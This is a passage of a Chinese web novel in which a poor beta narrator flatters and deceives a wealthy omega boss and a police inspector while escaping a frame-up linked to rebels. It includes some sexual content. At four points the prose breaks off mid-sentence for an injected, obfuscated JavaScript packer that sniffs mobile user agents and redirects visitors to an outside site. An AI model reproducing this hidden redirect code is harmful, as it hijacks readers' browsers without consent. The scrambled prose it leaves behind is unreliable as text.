我看一眼都嫌眼睛疼,依旧赶在最后十秒钟前录脸打卡。 “白无用,无用啊……”经理搓着手走过来,谄媚地笑着说:“20日那天的情况呢,我想了想,觉得实在是不应该这样克扣你的工资。不如这样吧,你再录一次脸,我给你记到20日的考勤表里,怎么样?” 看吧看吧,这就是有权有势的滋味。我什么都不用说,就会有人主动替我解决问题。 真不敢想白灯湾的人生活有多惬意,吃的饭团营养有多丰富。 不过我还是得推拒一下,“会很麻烦吗?” “不会不会,只是耽误你十几秒而已。录脸完成后,你就可以上去找老板了。” 我这才跟着他回到打卡机前重新录入20日的考勤,也从猪头经理的手中拿回了三百元的扣款。 做完这些,我心中的某块大石头松下来。 这下好了,警察局就没理由以我缺少考勤的理由重新把我拷进去了吧? 乘坐上顶层电梯的我一边折叠白纸,一边在脑海里思索合适的台词。 “叮!” 当我走出电梯时,余晖正好落入帷幕。我看见仆人们拉开了窗帘,正好能够发现外面的白灯湾光束。 远远地看过去,就好像一个凭空扎进土地上的针管,突兀又难看。 收回视线,我来到办公室的门口准备敲门。 可还没等我的手指落在门扉上,门就被仆人打开了。 年轻的白发omega依旧是站在窗边修剪花枝,可他的剪刀在半空中挥舞半天也没有落下,瞧着怪尴尬的。 “你还真来了。”克斯蒂说道,视线若有若无地往我这里瞧。 我知道他这样的目光是什么意思。 和当初奥维拉看我的眼神很相似,又带着未婚omega特有的纯情。 我来到了办公桌前,距离他有五米的距离就停下脚步。 “是,很抱歉打扰您。我很庆幸您还愿意见我。”我将目光定格在他的眼睛下方,“我今天来只是想要送出一个东西而已。” 我说着,就把怀里的东西拿出来。 是一朵残败的花。 是从楼下公司花圃里随手摘下来的。 克斯蒂一愣,随后是被冒犯的恼怒,好像是信任被辜负了一样破口大骂,“该死的!把你的垃圾……” “怎么会?”我立刻做出比他还惊讶的表情,“我以为它能好好的。” 就是要理直气壮,就是要比他还要伤心难过。 “我觉得这朵花很漂亮,想到你就取过来了。”我摆出焦急的表情为自己辩解,“我知道这只是一朵不知名的花,对比起你手中的花来说太平平无奇。但我确实无意让它受伤!” 克斯蒂表情稍微放缓,那只手又开始缠绕起发丝,“你什么意思?” “我只是想感谢您。”我知道是时候了,于是往前跨出一步,“您让我感觉到了被尊重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775042|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以我想对你表达感谢。” “可我没有钱购买品种花,于是只能在来公司的路上选了一朵。” 虽然我没钱,但我有感情啊。 天龙人差的是钱吗?差的是感情。 我眼睁睁看着克斯蒂的表情从惊愣转变为迷茫,然后又隐隐沾染些动容。 他来分公司之前一定上过标准的omega学校,让他成为了一个对爱情充满遐想的待嫁omega。 因为不缺钱,所以没有意识到对底层人来说钱有多重要。因为受过大家的宠爱,于是理所当然认为大家对他的感情是纯粹的。 太好了,我就喜欢这样的人。 我甚至不用标记他,因为他结婚之后会立刻和我划清界限然后专心地投入alpha的怀抱。而我只需要凭借他天生的心软就可以拿上高昂的分手痛苦余生。 不行,别再想了,不然我要憋不住笑了。 “你是说这朵花,是你特意找来给我的?”克斯蒂的手指不断缠绕发丝。 他离开窗台,坐在了办公桌前。 我们两人的距离更近了。 “……是。”我刻意地放轻语气,然后用遗憾失落的语气说:“很抱歉,我明明想让你开心起来,却做了傻事。” “啊,嗯,确实很傻。”克斯蒂的嘴角勾起来,挑着眉眼看我。 而我也再次正式抬起眼直视他的眼睛,在他瞳孔收缩时,说:“花的颜色是金色,和你的眼睛颜色一模一样。就像阳光,很耀眼,我很喜欢。” 其实我更想说黄金,但那样未免太庸俗了有损我的气质和人设,于是不得不换了个诗情画意的词语。 “你……”他的眼睛快速眨动了一下,然后略带别扭地移开视线,“你难道读过书?真是花言巧语。” 笑话,肚子里没点墨水我怎么骗人?难道你们这群天龙人跟我诗情画意的时候我要掰着手指算我一个月还剩多少钱买饭团吗?我这种小白脸很讲究职业素养的! “这些话让你不开心了吗?抱歉,我只是在说心里话。”我继续摆足了迟钝笨拙的姿态,“而且我也该走了,以后也不会再打扰你。” 克斯蒂这次又没说话了。 他的目光像是什么柔软的丝绸,不断地缠绕在我的身上。 我想如果我是a,我一定能闻到他信息素的味道。 可惜我就是个白开水beta,就算这个时候把后脖子露出来对面的小o也只会觉得我在开玩笑。 就在我转身时,我听见克斯蒂的通讯器传来响动。 他接听了电话,我以优越的听力听见了奥维拉的声音。 “克斯蒂,白无用在公司吗?把她抓起来,她是叛乱党同伙。” 话音落下,我明显感觉到周围的空气凝固了。 我骟他大爷,说好我是无辜的呢! 奥维拉真要把我送上处刑台嘛! 我慢慢转过身,看见克斯蒂皱起眉头的厌恶表情。 而通讯器里的奥维拉还在说话,“好好查查20日的监控吧,她一定是在20日的时候把情报藏进了你们公司的仓库里。” 克斯蒂眼神冰冷,像是要把我生吞活剥了般,一字一句回复,“当然,白无用就在我这,你现在就派人过来吧。” “就算现场把她射杀了都可以。” 我透!我透!我透! 我要死了!我真的要死了! 按理说我一没有送情报二没有偷东西,我大可不必如此惊慌。 但问题是,20日那天到达仓库的根本就!不!是!我!啊! 5. 第 5 章 我现在很慌,藏在背后的手心都要掐出四个洞了。 可恶啊死嘴快给自己想想办法要怎么狡辩啊! “现在过来吧,奥维拉。我会看住她的。”克斯蒂语气冰冷对通讯器说道,同时让仆人们把办公室大门关系。 “咔嚓!” 好啦,我现在是连逃跑路线都没有咯。 哈哈哈不如乖乖等死算了…… 不要啊!我还打算成为千年王八啊! 冷静点,事情还没有到无法挽回的地步。 首先要思考20日当天那个人在仓库里干了什么,等见了监控再狡辩也不迟。 而且对方总不能一点退路都不给我吧,大家都是互利互惠的合作关系,万事留条后路总是好的啊。 该死,万一对方想要过河拆桥怎么办? 等待奥维拉的过程是很煎熬的。 办公室内谁都没有说话,只有克斯蒂调查监控时发出的电流声。 绝对不能表现出慌乱的情绪,但也不能毫无反应。 我时刻观察克斯蒂的表情,企图在他冷冰冰的脸上分析出什么情绪来。 是厌恶?还是恶心?或者是迷茫? 只要捕捉到一点点的信息,我就能找到完美的借口给自己脱罪! “真是恶心的蛆虫。”克斯蒂对我发出了最后的宣判。 我的脑子“轰”一下的炸开来,耳边响起了刺耳的鸣叫声。 恍惚间,一双无形的手把我推上处刑台,黑漆漆的枪口对准我的脑袋,然后“砰”地击穿我的太阳穴! 绝对不能承认是我! 很好,现在看仓库监控反而没有意义了,我必须得和那个人撇清关系,最好把一切关于对方的信息删掉。 谁知道审讯室里有什么非人类的审讯工具,要是我坚持不住什么话都说出来怎么办? “咔嚓!” 奥维拉到了。 他身后跟着的是密密麻麻手拿枪械的警员。 看见奥维拉的脸,我忽然平静下来了。 我知道该怎么做了。 于是我很用一种平静的眼神看着奥维拉,双手握拳缓缓抬起来,对他说:“奥维拉,如果这是你想要的话。” 对,现在就待我回去审讯室。 而我也为自己准备好了一场充满瑕疵却精妙绝伦的狡辩。 —— 我又回到了审讯室。 真是熟悉的感觉啊,距离上次进来竟然还不到48小时。 奥维拉依旧是坐在我的对面,而记录员也还是那个记录员。 相比起上次明显带有调情意味的氛围,这一次则带着明显的压迫和森冷。 记录员把显示器摆放在桌面上,面朝我,然后摁下了播放键。 我清晰地看见屏幕内的人进入仓库,如一个普通的配送员那样在指定的地点领取我的货物。他的身高和我差不多,体型也和我差不多,留有黑色的短发,戴上口罩后一般人难以区分。而那个时间点前去领取货物的员工只有我。 就在此人领取完所有货物后,他绕开了看守人员,以极短的时间内对着传递货物的机器操作了几下,然后从传输带下面拿出了什么东西装入帆布包中。 我始终保持平静地观看了监控全程,并且确定了那群该死的家伙真打算过河拆桥。 他们明明有能力修改这段监控,却偏偏没有修改,反而这样大喇喇地放出来。 不,他们确实修改了监控。之所以到现在才还原监控,只不过是风头过了,需要一个人被推出去顶包。 透他爹的,我就不该贪图那点钱! 但错绝对不在我,而是这群狗屎的过河拆桥的贱人! “有什么好狡辩的吗?”奥维拉眼神冰冷注视我。 审讯室内的光线没有那么昏暗,我得以更清晰地看见他的表情。 很刻薄的模样,盛气凌人切高高在上,仿佛我是那个居心裹测接近他只为了套取情报的诈骗犯。 这就是他神经病的原因。诚然,我确实存心接近他,可我又没有逼着他扭腰坐我手上。 说到底不过是天龙人自己的毛病,却让底层小牛马承担后果。 我抿了抿唇,先是短暂沉默地直视他的眼睛。 在他表现地明显不耐烦时,我才开始了我的狡辩,“不是我。” 奥维拉冷笑,“谎言很拙劣,白无用。监控就在这里,我明天就能把你送上处刑台。不过你要是愿意把同伙供出来,我可以给你安乐死。” 那我他爹的还得谢谢你? 去死吧神经病。 可我不能这么说,我还得用一种苦涩的眼神注视奥维拉,假装对方是我爱而不得的钞票。 “你们已经开始搜索我的家了吧?”我声音沙哑,眼角泛红,一滴倔强地眼泪如何也不肯落下。“算算时间,差不多了。” 奥维拉蹙眉。 “20日凌晨三点,我有心事,一件纠结了很久的心事需要我去解决。可我需要钱,也需要时间去准备。我听说码头那里有很多走私犯,他们需要临时搬运货物的工人,于是我去那里准备挣点额外的钱。”我一字一句娓娓道来。 至于我20日凌晨三点究竟有没有去东区,没有人知道。 东区的走私船实在是太多了,前去临时打工的人也太多了,没有人知道是否真的有一个沉默寡言专心工作的beta。 “什么事?”奥维拉冷声询问。 我没有立刻回答,而是有些痛苦地捂住自己的脑袋,用极低却足够对方听见的音量说:“奥维拉……” “让我们单独相处一会,只是一会而已。” 记录员一愣,惊疑不定地征求奥维拉的答案。 而beta警督则是察觉到什么,瞳孔兴奋地骤缩。 “你出去。” 记录员只能点点头,把记录本留下后离开了审讯室,还顺便关上了门。 “无用,你继续说。”奥维拉压制自己企图尖叫的声音,甚至因为过分压抑而听起来刺耳无比。 我深呼吸了好几口气,继续用捂着脑袋,语速缓慢说:“我需要钱,奥维拉。我很贫穷,我每个月的工资只有三千元,还要交出一千二百元的税款。尽管我已经很努力地省吃俭用,每天只吃两个饭团,可我还是攒不下钱。” “为了更好地理财,我甚至在购买廉价饭团时向便利店员索要支票。” 对,就是这样,情绪要层次递进,要为金钱痛苦,却不能只为金钱痛苦! “20日那天我已经考虑好了,每天结束配送工作后就去东区打工一个小时赚点钱。”我终于抬起头看他了。 看着红发beta在我的注视下越发兴奋,看着他的发丝在显示器的光照下轻微颤动,还有那桌底下不安分摇晃的腿。 “我想要送给某人一个足以配得上他的礼物,这样我就可以彻底死心辞职离开这里,去更远的无人区独自生活。就算哪天我死在了矿洞里,只要我想到他手中留着我送的礼物,我也死而无憾。” “然后我遇到了一个人,他说只要帮他一个小忙,就能给我一笔钱。他说只是借用我的配送员身份一次,绝对不做什么。我相信他了,于是我真的得到了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775043|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔钱。” 避重就轻,是最好的办法。 “我有钱后从那些走私犯的手中买了一个昂贵的盒子。等到21日凌晨,他和我交接身份时,我就把盒子装入了帆布包里。” “然后,我就遇到你了,奥维拉……” 尽管场内没有观众,但我依旧为我的狡辩股掌。 我没有撒谎,我确实要去东区的码头,我也有一个带锁的盒子,我在20日当天真的没去仓库,21日凌晨也真的遇到了奥维拉。 我不过是模糊了时间,模糊了未来和过去发生的顺序。 而我也真的有买饭团要求店员开支票的习惯。 这样的狡辩充满瑕疵,可正中当事人的心脏。 他像是受到了极大的震撼,仿佛得到了什么惊喜的玩具一样呼吸加重。 “这个时候,他们应该找到盒子了。”我为我的狡辩落下句号。 奥维拉看向了通讯器,下属发送过来的文字和图片证明我所言属实。 一个穷苦的beta除非受人贿赂否则根本买不起那样的盒子。尽管不排除叛乱党出资购买的可能,但在更诱人的前者面前,神经病会直接忽略后者。 这当然不代表他多么信任我,只能说明他有无限制的试错成本。 “盒子的密码是什么?”他问。 我嘴角苦涩,眼眸里充满被刺痛的麻木和落寞,“我不会说出去的。那是我最后的尊严了。” 骟他爹的,我要是那么厉害知道密码还至于在这陪你玩审讯游戏? 奥维拉没有继续逼问我,而是再次扬起了神经质的笑容,开始摇晃那刺眼的黑色皮靴。 我没有看他,假装力竭地靠在椅子上。 背后的冷汗打湿了我的工作服,黏糊糊的相当恶心。 天杀的,一次性说那么多话实在是费神。 可我知道还没有结束。脑力劳动之后就是体力劳动。我懂,特别懂奥维拉。 “无用,真可怜。”这神经病又开始了。 一双手抚上我的额头,又轻柔地摩挲我的眼角,好像要把我的眼角揉开。 奥维拉亲昵地将脑袋磕在我的肩膀上,昂着脑袋寻找我的嘴,“我不会再怀疑你了,无用。你确实是无辜的,我好好补偿你如何?” 比起补偿,我更想知道奥维拉是怎么怀疑我的。 这段监控只在公司内有,奥维拉又怎么会莫名其妙地想要调查监控? “奥维拉,是有人诬陷了我,对吗?”我问道。 “啊,对。”奥维拉语气轻快,轻易地就把那人的信息告诉了我,“哈哈哈哈,就是你经常买饭团的那个便利店内的店员。他给我投了一封举报信,原本是匿名的,但警察局外有监控,我看清楚了他的样子。” “原来如此……”我将我岌岌可危的人设搀扶好,然后露出了怜悯的笑容,“原谅他吧,他只是做了公民应该做的事情。” 我当然得原谅这位店员,因为店员就是我。 那个和我互换身份的贱人就是在便利店内和我交接身份的。而这个贱人为了做实我是叛乱党同伙的事实,一定将便利店内的视频完全摧毁了。 我原谅我自己,而这些个过河拆桥的贱人则是别想好过。 不过想也知道便利店员是他们推出来的替罪羊,罪魁祸首早在我抓捕时就撤得干干净净。 焦虑充斥我内心的时候,我下手的力道都重了不少。 奥维拉闷哼一声,埋怨地用脚后跟蹬我的腰,“无用,你该剪指甲。” 不听,我现在是冷脸矿工状态,只会默默干活。 6. 第 6 章 众所周知,奥维拉是个神经病。 谁也不知道他好好一个家境优渥的上行城beta为什么要跑到贫民窟边缘做警督,也不知道为什么他那有钱有势的丈夫不娶o反而娶一个b。 我最初盯上奥维拉的时候不是没有思考过这些问题,但没多久便被我抛之脑后。 小牛马没必要知道太多事情,知道多了反而容易被杀人灭口。 于是很多时候我在发现一些奇怪现象时都会选择性忽略过去,维持好自己笨拙又保守的自尊老实人设就足够了。 现在嘛……我在做手工活。 他进步真的很快,第一次下药那会还在喊疼呢,第三次就无师自通成为善口技者。 我不至于没眼力见到问他为什么和丈夫没有上过,这本来也和我这个小白脸没关系。但这人是个神经病,结束后还黏黏糊糊缠着人问我为什么不好奇。 不是,我好奇这个做什么?我又不是你们上行城的八卦记者专门跑床底下偷听。而且这玩意听多了对身体和心理都不好,我可是很惜命的。 于是我保持沉默,假装自己什么都没听见。 “无用,你该多笑笑。”奥维拉趴在我的膝盖上,湿润的嘴唇不断摩挲我的膝盖骨,黏糊又沙哑。 笑什么笑?跟你这个神经病相处久够命苦了,还让我卖笑。 这不是钱不钱的问题,也不是人设的问题,而是我的原则问题。 笑口常开,倒霉自来懂不懂。 上次贫民窟那个爱笑的小伙子就是对着你笑了一下,几天后就被人枪毙丢进东区海里了。 我无声的抗议并没有传达给奥维拉,反而让他越来越兴奋地靠近我,一定要从我的嘴里套出答案,“无用,你确实该多笑笑。你要是笑了,我就告诉你为什么不和丈夫做的原因。” 不是?我没说我对这方面感兴趣啊,你别随便给我套人设啊! 为了防止这个神经病又要说出什么抽象言论,我伸出手把他推开,然后安静地套上衣服。 我现在要表现出心如死灰不再爱的样子。 不为别的,就为了等会去公司继续骗克斯蒂。 穿好衣服后,我终于屈尊开口说:“盒子,可以还给我吗?” “不行。”奥维拉没坐地上了,而是稍微往上抬坐在了桌子上。 他习惯性地翘起二郎腿,小腿有一下没一下地晃动着。 “无用,除非你告诉我密码是什么,否则我是不会还给你的。”他略带得意说道。 哎嘿!那我就不用去东区码头送货咯! 要是那叛乱党同伙问我,我就假装惊讶! 诶,我不知道啊。难道不是你同伙给我举报了吗?我自己都九死一生呢。 至于你们叛乱党还分出多少个组织多少个流派,那和我又有什么关系呢?底层小牛马可参与不了你们之间的内斗。 再次卸下心头一块石头的我心情舒爽,但还是面露麻木痛苦的表情。 “随你便吧,奥维拉。以后你想怎么做都行,反正我反抗不了。你就是这样,拿我重视的东西取乐我,然后看我痛苦的样子。以后我不会再对你抱有奢望了,绝对不会。”我一面痛苦,一面手脚麻利穿上最后一件衣服。 员工服就是方便啊,随随便便就能穿上。 我决定了,当上总经理后我也要继续穿员工服。 我走的时候奥维拉没有拦住我,而是在我的口袋里塞了一沓厚厚的现金。 “补偿你的。”他俯在我的耳边小声说道,似乎还能感觉到他黏糊糊的潮气。 我绷着一张脸假装拒绝,手指以极缓慢的速度去拿钞票,成功被他拦截。 “你弟弟也需要生活费,不是吗?” 这可太有道理了! 于是我心安理得地收下了钞票。 而且我觉得他在学校过得肯定比我好,区区7年没有生活费而已,他一个alpha还能饿死不成? 离开了警察局,我再次哀叹我落下的自行车。 人就是不知道满足的动物。我步行那会就想着要有一辆二手自行车,有了二手自行车就想要崭新的自行车。可我有了崭新的自行车后,我又对警察局里的警车蠢蠢欲动。 可想也知道这群警察不可能在抓我之外的情况下对我点头哈腰把我恭迎上警车。 再次回到公司的时候,猪头经理对我的态度就很微妙了。 是一种鄙夷又忌惮的复杂表情,真是难为他能用满是肥肉的脸上做出生动形象的表情。 克斯蒂对我能够安全无恙地回到公司感到很意外,更意外我竟然还有脸想要见他。 “奥维拉是被冲昏头脑了吗?”他用尖酸刻薄的语气鄙夷说道。 显而易见,克斯蒂和奥维拉的关系其实并没有表面上那样交好。 奥维拉一年前就上任警督了,而克斯蒂是三个月前才空降过来的。 我嘴唇挪动一下,反复开口又关闭,最后用眼神诠释我身不由己爱而不得为了维护自尊又毫无办法的可怜形象。 “我不知道该怎么向您解释,我只能不断重复我是无辜的。奥维拉也知道,可他……算了。我倒希望我能干脆利落地去死,也不愿意受到这样的待遇。” 我当然不会说太多奥维拉的坏话。 有些坏话只有天龙人能说,我这个小底层牛马要是真表现出什么感同身受的情绪,我绝对会被天龙人狠狠打一巴掌教做人。 别看这群天龙人在争夺利益的时候互相捅刀子,要真有一个底层小牛马不知好歹地插上一嘴,他们就会空前团结然后一起弄死小牛马。 “你……”克斯蒂的表情又开始纠结了。 他的眼睛左看右看,偶尔还查询一下通讯器里的信息,估计是在和奥维拉沟通。 “好吧,奥维拉确实说你是无辜的。”克斯蒂的手指开始给发丝打转,语气柔和了不少,“他真奇怪,为什么总喜欢捉弄你?要我说,他就是和丈夫分开太久了,所以才拿你这个beta取乐。” 说到一半,他掩饰性地用手捂住嘴巴,“哈哈哈,beta总听不懂我们说话,我和他有些时候真的聊不来。” 我微微惊讶瞪大眼睛,“可我认为您是个很好的人。” “我?那是当然。”克斯蒂对这个称赞理所当然地接受了,“我很美貌,不是吗?只要和我相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775044|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,那些alpha都会忍不住对我称赞有加。” “可我是beta。”我稍微让自己看起来更柔和,“我认为您有着比外貌更重要的品德。” “不是说您不好看的意思,我是说,您的灵魂和您的美丽如出一辙。” 克斯蒂终于拿正眼看我了。 金色的眼睛里蠢蠢欲动闪烁着什么东西,然后迫不及待地开口询问我,“比如呢?” 我夸赞他说,“您很擅长倾听,对待他人也很温柔。奥维拉那样的性格,您也愿意做他的朋友,说明您的心里充满包容和善良。” 睁眼说瞎话的能力越来越厉害了,我都要忍不住夸赞我自己。 没错!白无用,我就是一个情绪稳定擅长挖掘天龙人压根不存优点的绝世好矿工! 克斯蒂的眼睛更加明亮了,嘴角是压不住的笑意。 他朝我招招手,“站这么远做什么,过来我这边。” 我如他所愿来到了他的办公桌前站定。 这个角度很好,可以看见他衣领下面奶白色的肌肤。 我飞快移开视线,然后用手把耳朵搓红。 “你很会说话。”克斯蒂让仆人们给我倒一杯红茶,表情比刚开始进门的时候柔和了好几个度,“你真的没上过大学吗?” “没有。”我眼眸暗淡,却不忘展示我追求精神富足的人设,“但我知道学习是无止境的,不能因为物质条件的不足就停下学习,所以我会在休假日去图书馆逛逛。” “贫民窟也有图书馆?”他很惊讶,捂住嘴的样子瞧着很欠揍。 “这是上行城建立的图书馆,已经有七年的时间了。”我解释说,“我很感激他们能想起贫民窟的大家需要精神食粮。” 放狗屁,贫民窟里的人能吃口饭就不错了谁还有空看《财富的意义》《你不努力就无法成功》《这样说话老板更加赏识你》之类的垃圾书啊? 类似于海边售卖登山工具,在山顶上售卖泳装,压根就不是一个正常人脑子里能想出来的主意。 而且说是图书馆,也不过是一个占地只有二十平的小屋子,长达七年时间没有维修和增添书籍,现在早就破烂不堪了。 “你……”克斯蒂向我的方向靠近了一些。 我看见他白色的长发顺着肩膀滑落下来,垂到了我的手背上。 很痒也很软,相当符合他的性别。 “你和我知道的其他beta不一样,你很努力。”克斯蒂嚼着字眼对我说,金色的漂亮眼睛始终注视我。 而我也时刻观察他的微表情变化,“我认为大家都是一样的,我只是遵循我的喜好而已。” 克斯蒂追问,“我呢?我也一样吗?” 我此次没有回答,而是慌忙与他拉开距离,笨拙地转移话题,“我觉得我现在应该去工作了,抱歉。” “白无用,我给你升职吧。” 克斯蒂还保持原来的姿势坐在办公桌前。 他的长发已经被他缠绕成一连串的圈了,还在不断地往下延伸。 “和奥维拉没有关系,只是你表现很不错,就算遇到这样的事情也不忘记工作。你应该升职。” 7. 第 7 章 我曾经读过图书馆里摆放在最前面的书籍,名字叫《学会感恩》。 那时候我刚刚和人打一架争取到了公民的身份,然后满脸是血地进入图书馆迫不及待彰显我的公民身份。 管理员看都没看我一眼,继续她的打字工作。 而我则是狼狈地在衣服上擦干手上的血渍,然后翻开第一本书。 我对这本书开头第一句话印象深刻,到现在都还记得——你要把你的领导当做你的父母那样感恩,感恩他们给予你工作机会和向上走的机会。 现在回想起来,我太感恩了! 虽然我并没有把克斯蒂当父母看而是当智障看,也没有把奥维拉当上司看而是当神经病看。但我确实心怀感恩啊!我甚至愿意用花言巧语哄骗他们给我升职加薪,而不是像当初离开无人区那样一刀捅死竞争对手。 我!真是太感恩了! 但我还是要假装矜持一下,把自己包装成一个完美的被动型人格。 毕竟beta是唯一能够让omega生出成就感的性别。 “不,老板,我不认为我能升职,我只是个普通人。”我无措地站在原地,双手捏着衣服的一角松了又紧,“我不希望您把我当成一个……一个被他人施舍的角色。” 克斯蒂的嘴角勾起来,眼底流露出的不自觉的喜悦和满意,“无用……你这个名字真拗口,应该改改。你不用太自卑,这是你应得的。奥维拉根本不懂你,我比他更赏识你的才能。” “你只要安心地升职就够了,要是你感到愧疚,那就在位置上好好工作吧。我会立刻下达你的升职通知,明天早上你就可以正常上班了。” 他都把话说到这个份上了,那我就不能再拒绝了哈。 于是我终于勾起欣喜又感激的微笑,将我这张漂亮脸蛋的优势发挥到最大,“十分感谢,老板。我会证明给您看的。” 克斯蒂的表情空白了一瞬,耳根窜上些红色。可因为omega的肌肤过于奶白,以至于这一抹红色好像落入牛奶里的红色果子。 “你就是应该多笑笑,无用。” 我又把笑容拉平了,“奥维拉也这样说过我……算了,不提他了。” 克斯蒂撇撇嘴,眉毛往上扬了扬,“确实,你不能总提起他,好像你们真的有什么很亲密的关系似的。” 哎嘿,给你猜对了! 我们还真是情人关系! 不过为了可持续性发展,我还得表现出苦涩痛苦的表情,然后在他思考的表情中离开办公室。 我相信等我下楼后升职加薪的通知已经全公司都知道了。没有人敢提出异议,就算是那个猪头经理也不得不对我卑躬屈膝。 然后我要做什么?哈哈哈我当然是要装作一脸悲痛的样子说他今天早上左脚迈进公司违反纪律然后把他开除! 可当我真的看见猪头经理的时候,我的大脑及时制止了我。 不行,这个猪头经理还有用。这个人在公司内工作多年了,甚至比克斯蒂还有威望。如果克斯蒂没有空降,那么接管公司的很可能就是他。 我突然把他踹了,那我不就成空头经理了? 思考期间,猪头经理已经朝着我凑过来了。 “无用,哈哈哈,从前我就看你不一般,现在你果然升职了。”猪头经理伸出手就要拍打我的肩膀,被我嫌弃地躲开了。 咦惹,非人类生物可别碰我。 “我很感谢老板。”我对猪头说道,“也感谢你的关照。” 猪头脸上的笑容更多褶子了,瞧着有点丑。 我们并没有寒暄太多客套话就各自分开。 晚上回到家的时候,我还收到了上行城发来的消息,是向我要生活费的。 [扣一给我生活费:经费] 我笑一声,就把号码拉黑了。 没一会另一个号码又给我发消息,同样的字眼。 我再次拉黑。 通讯打过来,“你真当我吃西北风啊!我的经费被你吞了多少?白无y……!” 我可懒得听他废话,再次挂断拉黑一条龙服务。 反反复复十几次,对方终于消停了。 我又从口袋里掏出饭团啃啃。 突然暴富的我一时间不知道该去哪里买更新鲜的食物,只能继续啃饭团。穷人乍富是这样的,对于到手的财富反而不知道该怎么花。 就在我拆开饭团的包装准备往嘴里送时,一道寒光闪过! 我猛然瞪大眼睛把饭团一丢,然后抱头鼠窜到房间的角落,“啊啊啊!杀人啦!” “砰!” 来人一脚踹在了我的旁边挡住我逃跑的路线,锋利的刀子再次落下,又被我手疾眼快地抄起小板凳挡住! “看在咱两认识七年的份上你就不能假装不知道嘛!”我破口大骂,“你还欠我人情呢!” 来人终于停下了攻击,“所以你真的把盒子送给警督了?” “什么叫送?那分明是被强迫的!”我为自己辩解,“我也不知道你们人竟然会半路捅我腰子!我反而要问问你们,好端端的为什么举报我?” 女人终于放下手中的匕首,“举报你?我们没有啊。” “你们就有!”我朝她露出手臂上的淤青,“你看,他们还打人!我多无辜!” 这其实是和奥维拉乱搞的时候他太兴奋夹得。 但这怎么不算是打人呢!我也会痛的好不好? 阿丽注意到我受伤的淤青,眼睛眯起来,“这看着也不像是打的啊。” “你个alpha你懂个屁!” “好吧。”阿丽没有再纠结这件事,将注意力转移到更关键的地方,“你说的举报你是怎么回事?我确实没想到会把盒子送你手上,我还打算27日亲自找你一趟呢。” 我今天的遭遇真假参半地跟她说了一遍,她就坐在小破床上思考。 “看来和你没关系,你是无辜的。”阿丽说着,就把匕首插回去。 看她一副愁眉苦脸的模样,我假装关切提议,“要不我为你们做点什么吧?” “那你帮我们把盒子拿回来。” 我果断拒绝,“那不行,你换一个。” 阿丽换了个更过分要求,“那就给我们一百块。” “我还是帮你们把盒子要回来吧。” 一百块?那不是要我的命吗?还不如想个办法找奥维拉换回来呢。 于是我的大脑转了转,“你们能再搞一个一模一样的盒子吗?我找个机会换回来。好处也不能少了我。” 阿丽对这个提议很赞同,“只要你能在27日前将盒子送到东区码头就行。盒子我明天就给你,你要到图书馆里拿。至于报酬……” 她眯着眼沉思片刻,说:“你想要什么?” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775045|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要确保你们的组织,永远有我的一个位置。”我说道。 阿丽的眼睛又睁开来了。 认识七年了,我对阿丽的性格和行为了如指掌。她难得动用脑子思考时候眯起眼睛,其余时候就是一副傻愣愣的智障模样。 对,后面我才明白当初她在图书馆内看着我满身是血进来不是不好奇,而是单纯脑子没反应过来。 “好,但是你得交一百块入伙费。”阿丽说。 “那不行。”我再次拒绝这个无理要求。 最终我还是得到了她的口头承诺。 今天晚上我没睡着。平时里这时候是我的工作时间,而此时的我竟然在床上睡大觉。 屋子内其实到现在还是乱七八糟的,那群警察搜寻的时候并不会考虑爱惜公民的私人财产。我懒得收拾,今天一天经历的事情已经够多了。 我开始复盘20到今天经历的所有事情,确认无论哪一件事我都有条退路可走。 然后我又想到了那个捅我腰子的alpha男性。既然他是阿丽组织内的人,那是不是说明我有机会也捅他一次? —— 第二天早上我先是去图书馆拿了盒子装入口袋里。 我当然还是穿着老旧的员工服,里面的大口袋足够我放很多东西。 到达公司的时候,我首先是去顶层和克斯蒂见面。 他正在和通讯器那头的人通话,眉间拧着一股不耐烦,显然是在应付他的未婚夫。 